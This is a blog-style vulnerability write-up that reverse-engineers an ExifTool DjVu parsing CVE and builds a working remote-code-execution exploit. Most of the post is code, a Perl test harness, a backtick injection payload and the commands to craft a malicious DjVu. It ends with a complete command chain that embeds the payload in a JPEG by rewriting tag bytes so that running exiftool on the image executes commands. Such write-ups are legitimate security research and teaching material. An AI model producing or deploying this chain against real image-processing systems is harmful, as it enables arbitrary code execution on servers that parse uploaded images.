An Image Speaks a Thousand RCEs: The Tale of Reversing an ExifTool CVE

The code that fixes the vulnerability

Understanding the code

These are the two lines of code that were removed:

# must protect unescaped $ and @ symbols, and \ at end of string            
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text) $tok = eval qq{"$tok"};
s  {\\(.)|([\$\@]|\\$)}  {'\\'.($2 || $1)}    s g e
│ │ │ │ │ │
│ └────────┬─────────┘ └───────┬───────┘ └─┬─┘
│ search pattern replace pattern modifiers

└──── stands for "substitution"
\\                   # match a literal backslash (\)
( # begin first capturing group
. # match any character except newlines
) # end first capturing group
| # OR

( # begin second capturing group
[\$\@] # match either $ or @ once
| # OR
\\$ # match a trailing backslash (\)
) # end second capturing group
'\\'.($2 || $1)
  • Strings in <ANY_CHARACTER> format would not have any change (for example, \n would still be \n).
  • $and @ characters would be escaped as \$ and \@, respectively.
  • Trailing backslash would be escaped as \\.
use warnings;
use strict;
my $str = do { local $/; <STDIN> };my $dataPt = \$str;# match first non-space character
$$dataPt =~ /(\S)/sg;
my $tok = '';for (;;) {
my $pos = pos($$dataPt);
# exit if there is no quote
die unless $$dataPt =~ /"/sg;
# find token before next quote
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# ensure quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
# quote is part of the string
$tok .= '"';
}
print "«Input»\n$tok\n";
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
print "«Before eval»\n\"$tok\"\n";
$tok = eval qq{"$tok"};
print "«Result»\n$tok\n";

How the script works

First, it takes input from STDIN and gets the position of the next non-space character to check if it’s a ". If not, it breaks out of the loop; otherwise, it checks the following condition:

last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
$tok = eval qq{"$tok"};

Bypassing the regex

I had a working script to test the input and observe the outputs produced. And from reading the function’s source code, I knew the following:

  • The input needs to contain at least a single double quote.
  • If escaped by an odd number of backslashes, the script does not add the additional quotes to the token.
  • $, @ and trailing backslashes will be escaped
$ perl test.pl < payload
«Input»
`id`
«Before eval»
" `id` "
«Result»
`id`
"\
"#"
«Input»
\
"#
«Before eval»
"\
"#"
«Result»
"\
" . `id` #"
«Input»
\
".`id`#
«Before eval»
"\
".`id`#"
«Result»
uid=1000(amal) gid=1000(amal) groups=1000(amal)

Finding an injection point

I had never heard of the DJVU file format. From Googling, I was able to understand it’s a container format similar to PDF. It sounded like ExifTool parses some kind of S-expression syntax from an annotation. (The comments in the code mentioned the syntax is not well-documented — oh no!).

Usage: cjb2 [options] <input-pbm-or-tiff> <output-djvu>
printf 'P1 1 1 1' > input.pbm
cjb2 input.pbm mask.djvu
djvumake exploit.djvu Sjbz=mask.djvu
# Process DjVu annotation chunk (ANTa or decoded ANTz)

sub ProcessAnt($$$)
{
my ($et, $dirInfo, $tagTablePtr) = @_;
my $dataPt = $$dirInfo{DataPt};
# quick pre-scan to check for metadata or XMP
return 1 unless $$dataPt =~ /\(\s*(metadata|xmp)[\s("]/s;
# parse annotations into a tree structure
pos($$dataPt) = 0;
my $toks = ParseAnt($dataPt) or return 0;
# more code
# <...snip...>
}
$ djvused exploit.djvu 
create-shared-ant
set-ant
(metadata (title "Hello"))
.
save
^Z
$ djvused exploit.djvu -e 'output-all'
select; remove-ant; remove-txt
# -------------------------
select "shared_anno.iff"
set-ant
(metadata (title "Hello"))
(metadata (copyright "\
" . `gnome-calculator` #"))
djvumake exploit.djvu Sjbz=mask.djvu ANTa=input.txt
$ exiftool exploit.djvu 
ExifTool Version Number : 12.16
File Name : exploit.djvu
Directory : .
File Size : 95 bytes
File Permissions : rw-r--r--
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Copyright : .uid=1000(amal) gid=1000(amal) groups=1000(amal)
Image Size : 1x1
Megapixels : 0.000001

Crafting a valid image

Getting the payload to work on a DJVU file was only half the battle: most systems would not accept DJVU files as input. For the exploit to be useful, it had to work on a valid image. The vulnerability was present in the DJVU reader, so I began to wonder if there’s some way DJVU metadata can get embedded in other files such as JPEGs.

exiftool "-thumbnailimage<=exploit.djvu" sample.jpg
Warning: [Minor] Not a valid image for Olympus:ThumbnailImage
0 image files updated
1 image files unchanged
exiftool -b -ThumbnailImage exploit.djvu > thumbnail.jpg
exiftool "-ThumbnailImage<=thumbnail.jpg" new_image.jpg
exiftool -tagsfromfile exploit.djvu sample.jpg
sub ImageInfo($;@)
{
<snip>
$self->ParseArguments(@_); # parse our function arguments
$self->ExtractInfo(undef); # extract meta information from image
my $info = $self->GetInfo(undef); # get requested information
<snip>
}
0xc51b => { # (Hasselblad H3D)
Name => 'HasselbladExif',
Format => 'undef',
RawConv => q{
$$self{DOC_NUM} = ++$$self{DOC_COUNT};
$self->ExtractInfo(\$val, { ReEntry => 1 });
$$self{DOC_NUM} = 0;
return undef;
},
},
A Tag ID is the computer-readable equivalent of a tag name, and is the identifier that is actually stored in the file.
-TAG[+-]<=DATFILE         -    Write tag value from contents of file
exiftool "-HasselBladExif<=exploit.djvu" sample.jpg
Warning: Sorry, HasselBladExif is not writable
Nothing to do.
use strict;
use warnings;
# hacky hack; not required if you're on Linux
use lib '/Users/amal/tools/exiftool/lib/';
use Image::ExifTool qw(GetTagTable);my $tagTablePtr = GetTagTable('Image::ExifTool::Exif::Main');for my $key (keys %$tagTablePtr) {
my $data = %$tagTablePtr{$key};
# get tag names that have Writable field as 'string'
print("$data->{Name}\n") if ref $data eq 'HASH' && ($data->{Writable} // '') eq 'string';
}
#!/bin/bashwhile read tag; do
echo -e "\n$tag" >> output.txt;
exiftool "-$tag<=exploit.djvu" sample.jpg &>> output.txt;
done < <(perl test.pl)
$ exiftool "-GeoTiffAsciiParams<=exploit.djvu" sample.jpg
1 image files updated
perl -0777 -pe 's/\x87\xb1/\xc5\x1b/' < sample.jpg > exploit.jpg
$ exiftool exploit.jpg

The Full Chain

You can use the following sequence of commands to get the exploit working:

# Download the image
wget -qO sample.jpg placekitten.com/200
# See file details
file sample.jpg
# Create the PBM image
printf 'P1 1 1 1' > input.pbm
# Create mask layer from PBM
cjb2 input.pbm mask.djvu
# Create a DJVU
djvumake exploit.djvu Sjbz=mask.djvu
# Create the payload file
echo -e '(metadata (copyright "\\\n" . `gnome-calculator` #"))' > input.txt
# Craft the exploit DJVU file with the payload
djvumake exploit.djvu Sjbz=mask.djvu ANTa=input.txt
# Embed DJVU file into the JPEG
exiftool '-GeoTiffAsciiParams<=exploit.djvu' sample.jpg
# Replace the bytes
perl -0777 -pe 's/\x87\xb1/\xc5\x1b/g' < sample.jpg > exploit.jpg
# Run exiftool with the malicious image!
exiftool exploit.jpg

See it live

Here’s a recording of the exploit chain:

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store